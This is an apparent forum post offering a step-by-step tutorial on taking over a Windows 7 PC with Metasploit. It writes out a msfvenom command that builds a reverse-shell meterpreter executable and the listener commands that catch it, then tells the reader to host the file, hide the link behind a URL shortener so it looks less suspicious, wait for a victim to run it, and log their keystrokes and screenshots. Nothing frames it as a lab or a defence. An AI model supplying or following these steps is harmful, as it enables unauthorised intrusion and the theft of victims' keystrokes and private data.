Hello!
I'll try to do my first tutorial here :)I dont have 50 posts yet, so I cant write posts with pictures, pics are not necessary to understand this anyways.
This tutorial will contain information on how to attack an Windows 7 PC Service pack 1 with metasploit (kali linux).
OK, let's go!
1.
Start terminal
2.
Type this in terminal.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP ADRESS HERE LPORT=4444 -f exe > /root/Desktop/NAME-OF-YOUR-FILE.exe
Press enter...
This will create the server file that you will send to the victim (we get there later on in the tutorial).
3.
Open a new console and type "msfconsole" and press enter.
(it starts the metasploit console)
4.
Now type "use multi/handler" and press enter (without -->""<--)
hit enter
5.
Type: set PAYLOAD windows/meterpreter/reverse_tcp
hit enter
6.
Type: set LHOST YOUR IP ADRESS (same one as in step 2)
hit enter
7.
Type: set LPORT 4444
hit enter
8.
Type: run
hit enter
9.
Now go to Sendspace.com and upload the "NAME-OF-FILE.exe" and copy the link.
Use an URL shortener "https: //goo.gl/" if needed to make the link look less suspissious.
Wait for the victim to open the .exe file and use the metasploit commands to dig around in the system.
Some metasploit commands to use:
printscreen - takes a printscreen on the victims system and puts the file in /root/home/.
keyscan_start - logging keystrokes on victims system (keylogger).
keyscan_dump - shows the keyboard input that the victim made during your "listening".
Hope you get any use of this. And plz, give response on my first tutorial ever made, what can I do better for the next time and what should I not to for the next time? :)


